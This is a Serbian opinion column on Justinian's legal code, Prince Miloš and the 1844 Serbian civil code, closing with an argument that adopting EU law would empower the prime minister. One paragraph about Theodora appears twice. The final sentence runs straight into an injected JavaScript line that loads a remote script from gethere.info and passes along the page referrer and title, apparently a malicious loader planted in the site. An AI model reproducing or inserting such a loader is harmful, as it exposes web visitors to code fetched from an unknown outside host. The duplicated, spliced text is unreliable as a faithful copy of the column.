KOLUMNA RADOVANOVIĆ: Justinijan, Miloš i mečkari

I caru, i knezu, i poslednjem prosjaku potrebni su zakoni, norme i pravila koja neće samo da uvode red, nego i da štite sve ono što on sam radi. I Miloš je znao da je u njima sva moć.

I eto nas usred novembra, studenog, nakrcanog istorijom, a još kada bismo nešto od nje i naučili, ih, gde bi nam kraj bio. Mada, ne može se baš reći da smo loše počeli. Na primer, 1844. godine usvojen je Srpski građanski zakonik, nastao na principima Justinijanovog kodeksa i komentara koje su, tumačeći ga, na njegove odredbe između redova i na marginama ostavili glosatori.

A Justinijan je taj svoj čuveni zakon obznanio 16. novembra 534. godine (a studeni mesec svakako je najbolje vreme za to, jerbo zakoni moraju da budu hladni), kodifikovavši rimsko pravo i postavivši temelje čitavom zapadnom zakonodavstvu.

I zamislite danas vi to. Francuzi su, prateći Justinijana i njegov kodeks, svoj prvi savremeni građanski zakonik doneli 1804. godine, Austrijanci 1811, a mi, u Srbiji, uradili trideset tri godine kasnije.

Justinijan je, recimo, zapamćen i po tome što se oženio Teodorom, kćerkom mečkara (čuvar životinja na hipodromu), koja se pre udaje proslavila kao cirkuska pantomimičarka (zato što je nastupala gotovo naga) i kao prostituka, ali samo za one sa dubokim džepovima.

U vreme kodža Miloša, nepismenog i prekog, spremnog da udara mačke i veša o krušku. Ali i dovoljno mudrog da shvati da ne treba da izmišlja toplu vodu, te se obratio lepo Austrijancima, a oni mu poslali obrazovanog i pametnog Jovana Hadžića, takođe nesklonog izmišljanju tople vode, te on lepo uze skraćenu verziju austrijskog građanskog zakonika i očas posla napravi srpski. Prosto ko pasulj. I, što je najvažnije, kroz razne zakone koji počivaju na njegovim principima traje i dan-danas. Lične slobode, sloboda ugovaranja, privatna svojina, ravnopravnost i jednakost subjekta... na svemu tome, dragi moji, možemo da zahvalimo dosta čudnim likovima.

Justinijan je, recimo, zapamćen i po tome što se oženio Teodorom, kćerkom mečkara (čuvar životinja na hipodromu), koja se pre udaje proslavila kao cirkuska pantomimičarka (zato što je nastupala gotovo naga) i kao prostituka, ali samo za one sa dubokim džepovima. Na kraju je u jedan takav i upala, i postala carica.

Miloš, seljak nepismeni, još je čudniji slučaj, spreman da ubije sve živo, pa i kuma, prek, nezasit, pokvaren... a opet, imao je istu crtu kao i njegov daleki, vizantijski prethodnik.

Znali su obojica da život, na kakvoj god nozi, ipak bez pravila ne vredi. I caru, i knezu, i poslednjem prosjaku potrebni su zakoni, norme i pravila koja neće samo da uvode red, nego i da štite sve ono što on sam radi. U njima je, i znao je to kodža Miloš, suštinski sva moć koja ti je potrebna. Ona koja suvo kaže: "Po Zakonu", i završi svaku priču. Policija, vojska, ministarstva, administracija... nisu ništa drugo nego puki izvršioci te volje, one zakonske. Sve zajedno to se zove "sistem" i omogućava ne samo normalan život nego, i pre svega, ozbiljno moćnu vlast.

I zato svi oni koji danas tvrde da nam je onaj prijatelj autokrata pojma nemaju. Zato što je jedna Angela Merkel u Nemačkoj sasvim sigurno sto puta moćnija nego on u Srbiji. A ako ne verujete, razmislite. Za nju rade zakoni, sistem, onaj suvi, "po zakonu", a za njega? Pogledajte, pa sami zaključite.

I videćete zašto većinu stvari, na kraju, mora sam da završi, što ga odmah, kod protivnika, svrstava u samodršce. Onakve kakvi bi i sami bili samo da se domognu vlasti, i to čak i da ne žele. Naterao bi ih na to gospodin slučaj, i činjenica da bi i oni morali gomilu posla sami da završe.

Drugim rečima, ako želite baš moćnog premijera, požurite, drugovi, u EU. Prepišite do kraja njihova pravila, zakone, norme, usvojite taj sistem, pa ćete da vidite. Savamala bi pala, po zakonu, i niko ne bi ni pisnuo.

Zato što će na kraju sve to, čitav sistem, za njega da radi, besprekorno, utemeljeno, čisto, surovo i - po zakonu. I kada dovede investitora, zakon će da ih štiti i omogući im da izgrade sve što su se, po zakonu, dogovorili i da u tom poslu poruše sve što treba porušiti.

Divno je mesto, ta uređena EU, za svakog premijera, pa i za ovog našeg. Ali i za vas, u tome je kvaka, i zato se, bar meni lično, tamo žuri. Računam da će tada svako od nas da bude mali predsednik svoje lične vlade, u svom malom svetu, okružen i zaštićen, ne saradnicima nego zakonima. Divota jedna, šta da vam kažem.

I još jedan važan put koji treba da izgradimo. Zato što na kraju dana zakoni i prave puteve, a ne saradnici. I ruše sve što im se nađe na putu. Brzo i pozakonu.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';